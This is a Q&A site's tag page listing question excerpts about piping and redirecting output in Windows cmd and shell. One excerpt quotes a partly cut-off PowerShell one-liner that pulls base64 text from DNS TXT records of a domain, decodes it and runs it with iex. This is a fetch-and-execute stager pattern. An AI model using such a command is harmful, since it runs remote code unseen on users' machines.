Skip to main content
The 2024 Developer Survey results are live! See the results

All Questions

Tagged with
-1 votes
2 answers
169 views

Pipe .exe output to text file

I have a utility exe which opens a new window when I run the exe directly or through powershell. How do I pipe its output to a text file? I have used utility.exe > textino.txt But it creates a ...
srt243's user avatar
  • 1
17 votes
4 answers
5k views

What does "2>&1" do when posted BEFORE 1>x?

I know what this command does: command 1>/dev/null 2>&1 But what, if anything, does the following do? command 2>&1 1>/dev/null I still see standard error output with the second ...
hanshenrik's user avatar
  • 1,735
1 vote
3 answers
900 views

Piping Set string and escaping in CMD

I'm trying to do: echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::...
rusokiwi's user avatar
1 vote
0 answers
69 views

piped FOR command, only the first output gets copied repeatedly

As an attempt to solve this issue, I tried to design a command using two Windows CLI tools, dsfo.exe and dsfi.exe (from DS File Ops Kit). The dsfo tool can extract a block of data from a file and ...
GabrielB's user avatar
  • 865
2 votes
3 answers
4k views

Windows command line - pipe output of dir search to (truncate) operation

This is Windows 10. The question is very simple, I simply don't know the proper syntax to do this. This will list all files ending in .log: dir /s /p *.log This will truncate a file: echo|set /p=&...
Oliver Williams's user avatar
20 votes
4 answers
15k views

real windows equivalent to cat *stdin*

Under cmd is there a windows equivalent to the posix command cat ? cat all by itself no filenames, no switches. I just want something that copies stdin to stdout until it hits EOF. it's not a hard ...
user313114's user avatar
0 votes
2 answers
426 views

Ping piped to txt does output nothing

Following script should pipe the ping output to a text file @echo off rem end with ctrl+c y ping 192.168.33.65 -t >> C:\_ScriptLog\Ping\ping.txt but nothing is piped to the txt file, it´s ...
Reese Duchamps's user avatar
14 votes
1 answer
13k views

How to pipeline stderr in cmd.exe?

Some programs would prefer to output the help message in stderr. I want to search the help message with grep command, xx /? | grep regex? How could i do this?
Jichao's user avatar
  • 7,600